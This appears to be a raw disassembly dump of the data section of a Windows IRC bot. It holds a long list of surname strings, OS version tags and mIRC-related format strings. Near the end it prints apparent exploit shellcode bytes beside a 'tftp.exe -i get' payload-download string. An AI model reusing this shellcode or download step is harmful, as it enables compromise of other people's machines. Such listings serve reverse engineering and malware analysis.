align 10h
aForester db 'Forester',0 ; DATA XREF: .data:0042E2A4o
align 4
aFolks db 'Folks',0 ; DATA XREF: .data:0042E2A0o
align 4
aFlores db 'Flores',0 ; DATA XREF: .data:0042E29Co
align 4
aFlier db 'Flier',0 ; DATA XREF: .data:0042E298o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .data:0042E294o
aFisk db 'Fisk',0 ; DATA XREF: .data:0042E290o
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: .data:0042E28Co
aFinnegan db 'Finnegan',0 ; DATA XREF: .data:0042E288o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: .data:0042E284o
aFink db 'Fink',0 ; DATA XREF: .data:0042E280o
align 10h
aField db 'Field',0 ; DATA XREF: .data:0042E27Co
align 4
aFido db 'Fido',0 ; DATA XREF: .data:0042E278o
align 10h
aFeuer db 'Feuer',0 ; DATA XREF: .data:0042E274o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: .data:0042E270o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: .data:0042E26Co
align 10h
aFernandes db 'Fernandes',0 ; DATA XREF: .data:0042E268o
align 4
aFernald db 'Fernald',0 ; DATA XREF: .data:0042E264o
aFeldman db 'Feldman',0 ; DATA XREF: .data:0042E260o
aFejzo db 'Fejzo',0 ; DATA XREF: .data:0042E25Co
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .data:0042E258o
align 10h
aFates db 'Fates',0 ; DATA XREF: .data:0042E254o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: .data:0042E250o
align 10h
aFarren db 'Farren',0 ; DATA XREF: .data:0042E24Co
align 4
aFarone db 'Farone',0 ; DATA XREF: .data:0042E248o
align 10h
aFaris db 'Faris',0 ; DATA XREF: .data:0042E244o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: .data:0042E240o
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .data:0042E23Co
align 10h
aFaioes db 'Faioes',0 ; DATA XREF: .data:0042E238o
align 4
aFagan db 'Fagan',0 ; DATA XREF: .data:0042E234o
align 10h
aFabbris db 'Fabbris',0 ; DATA XREF: .data:0042E230o
aEverett db 'Everett',0 ; DATA XREF: .data:0042E22Co
aEuripides db 'Euripides',0 ; DATA XREF: .data:0042E228o
align 4
aEtter db 'Etter',0 ; DATA XREF: .data:0042E224o
align 4
aEstes db 'Estes',0 ; DATA XREF: .data:0042E220o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: .data:0042E21Co
align 4
aErez db 'Erez',0 ; DATA XREF: .data:0042E218o
align 10h
aErdos db 'Erdos',0 ; DATA XREF: .data:0042E214o
align 4
aErdman db 'Erdman',0 ; DATA XREF: .data:0042E210o
align 10h
aErbach db 'Erbach',0 ; DATA XREF: .data:0042E20Co
align 4
aEppling db 'Eppling',0 ; DATA XREF: .data:0042E208o
aEnyeart db 'Enyeart',0 ; DATA XREF: .data:0042E204o
aEncinas db 'Encinas',0 ; DATA XREF: .data:0042E200o
aElvis db 'Elvis',0 ; DATA XREF: .data:0042E1FCo
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: .data:0042E1F8o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: .data:0042E1F4o
align 10h
aEliasson db 'Eliasson',0 ; DATA XREF: .data:0042E1F0o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .data:0042E1ECo
aEdward db 'Edward',0 ; DATA XREF: .data:0042E1E8o
align 10h
aEdner db 'Edner',0 ; DATA XREF: .data:0042E1E4o
align 4
aEdley db 'Edley',0 ; DATA XREF: .data:0042E1E0o
align 10h
aEckel db 'Eckel',0 ; DATA XREF: .data:0042E1DCo
align 4
aEbeling db 'Ebeling',0 ; DATA XREF: .data:0042E1D8o
aEardley db 'Eardley',0 ; DATA XREF: .data:0042E1D4o
aDwyer db 'Dwyer',0 ; DATA XREF: .data:0042E1D0o
align 10h
aDussault db 'Dussault',0 ; DATA XREF: .data:0042E1CCo
align 4
aDurrett db 'Durrett',0 ; DATA XREF: .data:0042E1C8o
aDuffin db 'Duffin',0 ; DATA XREF: .data:0042E1C4o
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: .data:0042E1C0o
aDrinker db 'Drinker',0 ; DATA XREF: .data:0042E1BCo
aDowsland db 'Dowsland',0 ; DATA XREF: .data:0042E1B8o
align 4
aDoug db 'Doug',0 ; DATA XREF: .data:0042E1B4o
align 10h
aDoty db 'Doty',0 ; DATA XREF: .data:0042E1B0o
align 4
aDosi db 'Dosi',0 ; DATA XREF: .data:0042E1ACo
align 10h
aDorf db 'Dorf',0 ; DATA XREF: .data:0042E1A8o
align 4
aDore db 'Dore',0 ; DATA XREF: .data:0042E1A4o
align 10h
aDoonan db 'Doonan',0 ; DATA XREF: .data:0042E1A0o
align 4
aDonner db 'Donner',0 ; DATA XREF: .data:0042E19Co
align 10h
aDonahue db 'Donahue',0 ; DATA XREF: .data:0042E198o
aDoherty db 'Doherty',0 ; DATA XREF: .data:0042E194o
aDockery db 'Dockery',0 ; DATA XREF: .data:0042E190o
aDirksen db 'Dirksen',0 ; DATA XREF: .data:0042E18Co
aDionysius db 'Dionysius',0 ; DATA XREF: .data:0042E188o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: .data:0042E184o
align 4
aDifronzo db 'Difronzo',0 ; DATA XREF: .data:0042E180o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: .data:0042E17Co
aDiefenbach db 'Diefenbach',0 ; DATA XREF: .data:0042E178o
align 4
aDicks db 'Dicks',0 ; DATA XREF: .data:0042E174o
align 10h
aDFini db 'D',27h,'fini',0 ; DATA XREF: .data:0042E170o
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: .data:0042E16Co
aDesombre db 'Desombre',0 ; DATA XREF: .data:0042E168o
align 4
aDenison db 'Denison',0 ; DATA XREF: .data:0042E164o
aDenham db 'Denham',0 ; DATA XREF: .data:0042E160o
align 4
aDenault db 'Denault',0 ; DATA XREF: .data:0042E15Co
aDemusz db 'Demusz',0 ; DATA XREF: .data:0042E158o
align 4
aDempster db 'Dempster',0 ; DATA XREF: .data:0042E154o
align 4
aDeming db 'Deming',0 ; DATA XREF: .data:0042E150o
align 10h
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .data:0042E14Co
align 4
aDelger db 'Delger',0 ; DATA XREF: .data:0042E148o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .data:0042E144o
align 4
aDelattre db 'Delattre',0 ; DATA XREF: .data:0042E140o
align 10h
aDefeciani db 'Defeciani',0 ; DATA XREF: .data:0042E13Co
align 4
aDees db 'Dees',0 ; DATA XREF: .data:0042E138o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: .data:0042E134o
aDerousse db 'deRousse',0 ; DATA XREF: .data:0042E130o
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .data:0042E12Co
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: .data:0042E128o
align 10h
aDegennaro db 'DeGennaro',0 ; DATA XREF: .data:0042E124o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: .data:0042E120o
aDavid db 'David',0 ; DATA XREF: .data:0042E11Co
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: .data:0042E118o
aDasgupta db 'Dasgupta',0 ; DATA XREF: .data:0042E114o
align 10h
aDas db 'Das',0 ; DATA XREF: .data:0042E110o
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .data:0042E10Co
aDapice db 'Dapice',0 ; DATA XREF: .data:0042E108o
align 4
aDante db 'Dante',0 ; DATA XREF: .data:0042E104o
align 10h
aDanieli db 'Danieli',0 ; DATA XREF: .data:0042E100o
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .data:0042E0FCo
aDaly db 'Daly',0 ; DATA XREF: .data:0042E0F8o
align 4
aDaldalian db 'Daldalian',0 ; DATA XREF: .data:0042E0F4o
align 4
aDasilva db 'daSilva',0 ; DATA XREF: .data:0042E0F0o
aCyders db 'Cyders',0 ; DATA XREF: .data:0042E0ECo
align 4
aCvek db 'Cvek',0 ; DATA XREF: .data:0042E0E8o
align 4
aCutler db 'Cutler',0 ; DATA XREF: .data:0042E0E4o
align 4
aCurrier db 'Currier',0 ; DATA XREF: .data:0042E0E0o
aCui db 'Cui',0 ; DATA XREF: .data:0042E0DCo
aCroxton db 'Croxton',0 ; DATA XREF: .data:0042E0D8o
aCroxen db 'Croxen',0 ; DATA XREF: .data:0042E0D4o
align 10h
aCroshaw db 'Croshaw',0 ; DATA XREF: .data:0042E0D0o
aCrocker db 'Crocker',0 ; DATA XREF: .data:0042E0CCo
aCrawford db 'Crawford',0 ; DATA XREF: .data:0042E0C8o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: .data:0042E0C4o
aCounter db 'Counter',0 ; DATA XREF: .data:0042E0C0o
aCosmides db 'Cosmides',0 ; DATA XREF: .data:0042E0BCo
align 4
aCornish db 'Cornish',0 ; DATA XREF: .data:0042E0B8o
aCorey db 'Corey',0 ; DATA XREF: .data:0042E0B4o
align 4
aConnors db 'Connors',0 ; DATA XREF: .data:0042E0B0o
aCondodina db 'Condodina',0 ; DATA XREF: .data:0042E0ACo
align 4
aConcino db 'Concino',0 ; DATA XREF: .data:0042E0A8o
aComstock db 'Comstock',0 ; DATA XREF: .data:0042E0A4o
align 10h
aCompton db 'Compton',0 ; DATA XREF: .data:0042E09Co
; .data:0042E0A0o
aCollis db 'Collis',0 ; DATA XREF: .data:0042E098o
align 10h
aCollard db 'Collard',0 ; DATA XREF: .data:0042E094o
aColella db 'Colella',0 ; DATA XREF: .data:0042E090o
aColdren db 'Coldren',0 ; DATA XREF: .data:0042E08Co
aCoito db 'Coito',0 ; DATA XREF: .data:0042E088o
align 10h
aCoblenz db 'Coblenz',0 ; DATA XREF: .data:0042E084o
aClow db 'Clow',0 ; DATA XREF: .data:0042E080o
align 10h
aClifton db 'Clifton',0 ; DATA XREF: .data:0042E07Co
aClement db 'Clement',0 ; DATA XREF: .data:0042E078o
aClark db 'Clark',0 ; DATA XREF: .data:0042E074o
align 4
aClancy db 'Clancy',0 ; DATA XREF: .data:0042E070o
align 10h
aClaffey db 'Claffey',0 ; DATA XREF: .data:0042E06Co
aCifarelli db 'Cifarelli',0 ; DATA XREF: .data:0042E068o
align 4
aCicero db 'Cicero',0 ; DATA XREF: .data:0042E064o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .data:0042E060o
align 4
aChurch db 'Church',0 ; DATA XREF: .data:0042E05Co
align 10h
aChupasko db 'Chupasko',0 ; DATA XREF: .data:0042E058o
align 4
aChu db 'Chu',0 ; DATA XREF: .data:0042E054o
aChristopher db 'Christopher',0 ; DATA XREF: .data:0042E050o
aChristie db 'Christie',0 ; DATA XREF: .data:0042E04Co
align 4
aChristiano db 'Christiano',0 ; DATA XREF: .data:0042E048o
align 4
aChristian db 'Christian',0 ; DATA XREF: .data:0042E044o
align 10h
aChristenson db 'Christenson',0 ; DATA XREF: .data:0042E040o
aChinman db 'Chinman',0 ; DATA XREF: .data:0042E03Co
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .data:0042E038o
aChilds db 'Childs',0 ; DATA XREF: .data:0042E034o
align 4
aChildress db 'Childress',0 ; DATA XREF: .data:0042E030o
align 4
aChien db 'Chien',0 ; DATA XREF: .data:0042E02Co
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: .data:0042E028o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: .data:0042E024o
align 4
aCherry db 'Cherry',0 ; DATA XREF: .data:0042E020o
align 4
aCheang db 'Cheang',0 ; DATA XREF: .data:0042E01Co
align 4
aCharles db 'Charles',0 ; DATA XREF: .data:0042E018o
aChapman db 'Chapman',0 ; DATA XREF: .data:0042E014o
aCerioli db 'Cerioli',0 ; DATA XREF: .data:0042E010o
aCeniceros db 'Ceniceros',0 ; DATA XREF: .data:0042E00Co
align 4
aCavell db 'Cavell',0 ; DATA XREF: .data:0042E008o
align 10h
aCavanagh db 'Cavanagh',0 ; DATA XREF: .data:0042E004o
align 4
aCastelda db 'Castelda',0 ; DATA XREF: .data:0042E000o
align 4
aCaspar db 'Caspar',0 ; DATA XREF: .data:0042DFFCo
align 10h
aCase db 'Case',0 ; DATA XREF: .data:0042DFF8o
align 4
aCascio db 'Cascio',0 ; DATA XREF: .data:0042DFF4o
align 10h
aCartmill db 'Cartmill',0 ; DATA XREF: .data:0042DFF0o
align 4
aCarper db 'Carper',0 ; DATA XREF: .data:0042DFECo
align 4
aCaroti db 'Caroti',0 ; DATA XREF: .data:0042DFE8o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: .data:0042DFE4o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: .data:0042DFE0o
aCarlos db 'Carlos',0 ; DATA XREF: .data:0042DFDCo
align 4
aCarlin db 'Carlin',0 ; DATA XREF: .data:0042DFD8o
align 10h
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .data:0042DFD4o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .data:0042DFD0o
aCapursi db 'Capursi',0 ; DATA XREF: .data:0042DFCCo
aCappuccio db 'Cappuccio',0 ; DATA XREF: .data:0042DFC8o
align 10h
aCapodilupo db 'Capodilupo',0 ; DATA XREF: .data:0042DFC4o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: .data:0042DFC0o
align 4
aCaperton db 'Caperton',0 ; DATA XREF: .data:0042DFBCo
align 4
aCapanni db 'Capanni',0 ; DATA XREF: .data:0042DFB8o
aCanley db 'Canley',0 ; DATA XREF: .data:0042DFB4o
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: .data:0042DFB0o
align 10h
aCammelli db 'Cammelli',0 ; DATA XREF: .data:0042DFACo
align 4
aCalnan db 'Calnan',0 ; DATA XREF: .data:0042DFA8o
align 4
aCage db 'Cage',0 ; DATA XREF: .data:0042DFA4o
align 4
aByrd db 'Byrd',0 ; DATA XREF: .data:0042DFA0o
align 4
aByerly db 'Byerly',0 ; DATA XREF: .data:0042DF9Co
align 4
aByatt db 'Byatt',0 ; DATA XREF: .data:0042DF98o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: .data:0042DF94o
aBurridge db 'Burridge',0 ; DATA XREF: .data:0042DF90o
align 4
aBurke db 'Burke',0 ; DATA XREF: .data:0042DF8Co
align 10h
aBurdzy db 'Burdzy',0 ; DATA XREF: .data:0042DF88o
align 4
aBurden db 'Burden',0 ; DATA XREF: .data:0042DF84o
align 10h
aBunton db 'Bunton',0 ; DATA XREF: .data:0042DF80o
align 4
aBullard db 'Bullard',0 ; DATA XREF: .data:0042DF7Co
aBudding db 'Budding',0 ; DATA XREF: .data:0042DF78o
aBuchan db 'Buchan',0 ; DATA XREF: .data:0042DF74o
align 10h
aBrzycki db 'Brzycki',0 ; DATA XREF: .data:0042DF70o
aBrook db 'Brook',0 ; DATA XREF: .data:0042DF6Co
align 10h
aBroca db 'Broca',0 ; DATA XREF: .data:0042DF68o
align 4
aBritz db 'Britz',0 ; DATA XREF: .data:0042DF64o
align 10h
aBrinton db 'Brinton',0 ; DATA XREF: .data:0042DF60o
aBridges db 'Bridges',0 ; DATA XREF: .data:0042DF5Co
aBridgeman db 'Bridgeman',0 ; DATA XREF: .data:0042DF58o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: .data:0042DF50o
; .data:0042DF54o
align 4
aBrennan db 'Brennan',0 ; DATA XREF: .data:0042DF4Co
aBrenan db 'Brenan',0 ; DATA XREF: .data:0042DF48o
align 4
aBreed db 'Breed',0 ; DATA XREF: .data:0042DF44o
align 4
aBrecht db 'Brecht',0 ; DATA XREF: .data:0042DF40o
align 4
aBradach db 'Bradach',0 ; DATA XREF: .data:0042DF3Co
aBradac db 'Bradac',0 ; DATA XREF: .data:0042DF38o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: .data:0042DF34o
align 10h
aBoyne db 'Boyne',0 ; DATA XREF: .data:0042DF30o
align 4
aBoym db 'Boym',0 ; DATA XREF: .data:0042DF2Co
align 10h
aBoyland db 'Boyland',0 ; DATA XREF: .data:0042DF28o
aBoyes db 'Boyes',0 ; DATA XREF: .data:0042DF24o
align 10h
aBoyajian db 'Boyajian',0 ; DATA XREF: .data:0042DF20o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: .data:0042DF1Co
align 4
aBowers db 'Bowers',0 ; DATA XREF: .data:0042DF18o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: .data:0042DF14o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: .data:0042DF10o
aBoudin db 'Boudin',0 ; DATA XREF: .data:0042DF0Co
align 4
aBotosh db 'Botosh',0 ; DATA XREF: .data:0042DF08o
align 10h
aBothman db 'Bothman',0 ; DATA XREF: .data:0042DF04o
aBossi db 'Bossi',0 ; DATA XREF: .data:0042DF00o
align 10h
aBorden db 'Borden',0 ; DATA XREF: .data:0042DEFCo
align 4
aBorack db 'Borack',0 ; DATA XREF: .data:0042DEF8o
align 10h
aBoorstin db 'Boorstin',0 ; DATA XREF: .data:0042DEF4o
align 4
aBoone db 'Boone',0 ; DATA XREF: .data:0042DEF0o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: .data:0042DEECo
align 10h
aBook db 'Book',0 ; DATA XREF: .data:0042DEE8o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: .data:0042DEE4o
align 4
aBoniface db 'Boniface',0 ; DATA XREF: .data:0042DEE0o
align 10h
aBonham db 'Bonham',0 ; DATA XREF: .data:0042DEDCo
align 4
aBoner db 'Boner',0 ; DATA XREF: .data:0042DED8o
align 10h
aBologna db 'Bologna',0 ; DATA XREF: .data:0042DED4o
aBollinger db 'Bollinger',0 ; DATA XREF: .data:0042DED0o
align 4
aBolick db 'Bolick',0 ; DATA XREF: .data:0042DECCo
align 4
aBolger db 'Bolger',0 ; DATA XREF: .data:0042DEC8o
align 4
aBlyth db 'Blyth',0 ; DATA XREF: .data:0042DEC4o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: .data:0042DEC0o
aBloemhof db 'Bloemhof',0 ; DATA XREF: .data:0042DEBCo
align 10h
aBloembergen db 'Bloembergen',0 ; DATA XREF: .data:0042DEB8o
aBloch db 'Bloch',0 ; DATA XREF: .data:0042DEB4o
align 4
aBlizard db 'Blizard',0 ; DATA XREF: .data:0042DEB0o
aBliss db 'Bliss',0 ; DATA XREF: .data:0042DEACo
align 4
aBlanke db 'Blanke',0 ; DATA XREF: .data:0042DEA8o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: .data:0042DEA4o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: .data:0042DEA0o
align 10h
aBlackwell db 'Blackwell',0 ; DATA XREF: .data:0042DE9Co
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: .data:0042DE98o
align 4
aBisho db 'Bisho',0 ; DATA XREF: .data:0042DE94o
align 10h
aBisema db 'Bisema',0 ; DATA XREF: .data:0042DE90o
align 4
aBir db 'Bir',0 ; DATA XREF: .data:0042DE8Co
aBinion db 'Binion',0 ; DATA XREF: .data:0042DE88o
align 4
aBickel db 'Bickel',0 ; DATA XREF: .data:0042DE84o
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: .data:0042DE80o
align 4
aBeynart db 'Beynart',0 ; DATA XREF: .data:0042DE7Co
aBetti db 'Betti',0 ; DATA XREF: .data:0042DE78o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .data:0042DE74o
align 4
aBernston db 'Bernston',0 ; DATA XREF: .data:0042DE70o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: .data:0042DE6Co
align 10h
aBernardo db 'Bernardo',0 ; DATA XREF: .data:0042DE68o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .data:0042DE64o
align 4
aBergson db 'Bergson',0 ; DATA XREF: .data:0042DE60o
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .data:0042DE5Co
align 4
aBelloc db 'Belloc',0 ; DATA XREF: .data:0042DE58o
align 4
aBellini db 'Bellini',0 ; DATA XREF: .data:0042DE54o
aBellhouse db 'Bellhouse',0 ; DATA XREF: .data:0042DE50o
align 10h
aBellavance db 'Bellavance',0 ; DATA XREF: .data:0042DE4Co
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .data:0042DE48o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: .data:0042DE44o
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: .data:0042DE40o
align 10h
aBelanger db 'Belanger',0 ; DATA XREF: .data:0042DE3Co
align 4
aBehenna db 'Behenna',0 ; DATA XREF: .data:0042DE38o
aBedford db 'Bedford',0 ; DATA XREF: .data:0042DE34o
aBeder db 'Beder',0 ; DATA XREF: .data:0042DE30o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: .data:0042DE2Co
aBean db 'Bean',0 ; DATA XREF: .data:0042DE28o
align 4
aBeal db 'Beal',0 ; DATA XREF: .data:0042DE24o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: .data:0042DE20o
align 4
aBayo db 'Bayo',0 ; DATA XREF: .data:0042DE1Co
align 4
aBayles db 'Bayles',0 ; DATA XREF: .data:0042DE18o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: .data:0042DE14o
align 10h
aBatchelder db 'Batchelder',0 ; DATA XREF: .data:0042DE10o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: .data:0042DE0Co
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: .data:0042DE08o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: .data:0042DE04o
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: .data:0042DE00o
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: .data:0042DDFCo
aBarry db 'Barry',0 ; DATA XREF: .data:0042DDF8o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: .data:0042DDF4o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: .data:0042DDF0o
aBarneson db 'Barneson',0 ; DATA XREF: .data:0042DDECo
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: .data:0042DDE8o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: .data:0042DDE4o
aBaranowska db 'Baranowska',0 ; DATA XREF: .data:0042DDE0o
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: .data:0042DDDCo
align 4
aBarajas db 'Barajas',0 ; DATA XREF: .data:0042DDD8o
aBarabesi db 'Barabesi',0 ; DATA XREF: .data:0042DDD4o
align 4
aBanta db 'Banta',0 ; DATA XREF: .data:0042DDD0o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: .data:0042DDCCo
align 4
aBallew db 'Ballew',0 ; DATA XREF: .data:0042DDC8o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: .data:0042DDC4o
align 10h
aBaleja db 'Baleja',0 ; DATA XREF: .data:0042DDC0o
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .data:0042DDBCo
align 4
aBailar db 'Bailar',0 ; DATA XREF: .data:0042DDB8o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: .data:0042DDB4o
aBaglivo db 'Baglivo',0 ; DATA XREF: .data:0042DDB0o
aBady db 'Bady',0 ; DATA XREF: .data:0042DDACo
align 4
aBackus db 'Backus',0 ; DATA XREF: .data:0042DDA8o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: .data:0042DDA4o
align 4
aAzima db 'Azima',0 ; DATA XREF: .data:0042DDA0o
align 10h
aAyling db 'Ayling',0 ; DATA XREF: .data:0042DD9Co
align 4
aAykroyd db 'Aykroyd',0 ; DATA XREF: .data:0042DD98o
aAyiemba db 'Ayiemba',0 ; DATA XREF: .data:0042DD94o
aAxworthy db 'Axworthy',0 ; DATA XREF: .data:0042DD90o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: .data:0042DD8Co
aAurelius db 'Aurelius',0 ; DATA XREF: .data:0042DD88o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: .data:0042DD84o
align 4
aAtkins db 'Atkins',0 ; DATA XREF: .data:0042DD80o
align 4
aArky db 'Arky',0 ; DATA XREF: .data:0042DD7Co
align 4
aArjas db 'Arjas',0 ; DATA XREF: .data:0042DD78o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: .data:0042DD74o
align 4
aArellano db 'Arellano',0 ; DATA XREF: .data:0042DD70o
align 4
aArduini db 'Arduini',0 ; DATA XREF: .data:0042DD6Co
aArbia db 'Arbia',0 ; DATA XREF: .data:0042DD68o
align 4
aAntos db 'Antos',0 ; DATA XREF: .data:0042DD64o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: .data:0042DD60o
aAnsley db 'Ansley',0 ; DATA XREF: .data:0042DD5Co
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: .data:0042DD58o
align 4
aAndron db 'Andron',0 ; DATA XREF: .data:0042DD54o
align 10h
aAndrelus db 'Andrelus',0 ; DATA XREF: .data:0042DD50o
align 4
aAndo db 'Ando',0 ; DATA XREF: .data:0042DD4Co
align 4
aAndel db 'Andel',0 ; DATA XREF: .data:0042DD48o
align 4
aAnand db 'Anand',0 ; DATA XREF: .data:0042DD44o
align 4
aAmsden db 'Amsden',0 ; DATA XREF: .data:0042DD40o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: .data:0042DD3Co
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: .data:0042DD38o
align 10h
aAmaral db 'Amaral',0 ; DATA XREF: .data:0042DD34o
align 4
aAltenhofen db 'Altenhofen',0 ; DATA XREF: .data:0042DD30o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: .data:0042DD2Co
aAltavilla db 'Altavilla',0 ; DATA XREF: .data:0042DD28o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: .data:0042DD24o
align 4
aAllison db 'Allison',0 ; DATA XREF: .data:0042DD20o
aAleks db 'Aleks',0 ; DATA XREF: .data:0042DD1Co
align 4
aAlda db 'Alda',0 ; DATA XREF: .data:0042DD18o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: .data:0042DD14o
align 4
aAlavi db 'Alavi',0 ; DATA XREF: .data:0042DD10o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: .data:0042DD0Co
align 4
aAdorno db 'Adorno',0 ; DATA XREF: .data:0042DD08o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: .data:0042DD04o
align 4
aAdelstein db 'Adelstein',0 ; DATA XREF: .data:0042DD00o
align 10h
aAddison db 'Addison',0 ; DATA XREF: .data:off_42DCFCo
aAdams db 'Adams',0 ; DATA XREF: .data:0042DCF8o
align 10h
aAckerman db 'Ackerman',0 ; DATA XREF: .data:0042DCF4o
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .data:off_42DCF0o
align 4
byte_431948 db 50h ; DATA XREF: .text:0040ADF0o
; .text:0040ADFDr
db 43h, 2 dup(0)
dword_43194C dd 7C7325h ; DATA XREF: .text:0040AE9Bo
aS_0 db '[%s]|',0 ; DATA XREF: .text:0040AFA5o
align 4
a??? db '???',0 ; DATA XREF: .text:loc_40AF9Co
; sub_41AA43:loc_41AB06o
a2k3 db '2K3',0 ; DATA XREF: .text:0040AF95o
aXp db 'XP',0 ; DATA XREF: .text:0040AF87o
; sub_41AA43+AAo
align 4
a2k db '2K',0 ; DATA XREF: .text:0040AF77o
; sub_41AA43+98o
align 4
aMe_0 db 'ME',0 ; DATA XREF: .text:0040AF5Eo
; sub_41AA43+7Eo
align 4
a98 db '98',0 ; DATA XREF: .text:0040AF4Eo
; sub_41AA43+6Co
align 10h
aNt_0 db 'NT',0 ; DATA XREF: .text:0040AF3Eo
; sub_41AA43+5Ao
align 4
a95 db '95',0 ; DATA XREF: .text:0040AF30o
; sub_41AA43+46o
align 4
; char aDS[]
aDS db '[%d]%s',0 ; DATA XREF: sub_40AFEB+3Ao
align 10h
; char aM[]
aM db '[M]',0 ; DATA XREF: sub_40AFEB+2Co
; sub_40AFEB+57o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEB+18o
; sub_418212+5o
align 4
dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh, 0FFFFB966h, 0FF0E7380h
dd 0F9E243h, 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh, 7380FFB1h
dd 0E243FF0Ch, 0F9h, 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h
dd 9EB0840h, 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h
dd 8B784803h, 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h
dd 7981100Ch, 7373650Ah, 8B027541h, 3798133h, 72685474h
dd 3B8B0275h, 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h
dd 0E857FA03h, 12h
aTftp_exeIGet db 'tftp.exe -i get ',0
aJ_0 db 'j',0
dd 17E8h, 0C3017500h, 1E8h, 6A0000h, 7E8h, 0ED840F00h
dd 0C3FFFFFFh, 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h
dd 44B0AAF3h, 515257ABh, 6A286A51h, 55515101h, 83D6FF53h
dd 0C08554C4h, 0C3h
dword_431A80 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
; DATA XREF: sub_40B1B4+10o
; char aSNoSThreadFoun[]
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B385+51o
align 4
; char aSSStopped_DThr[]
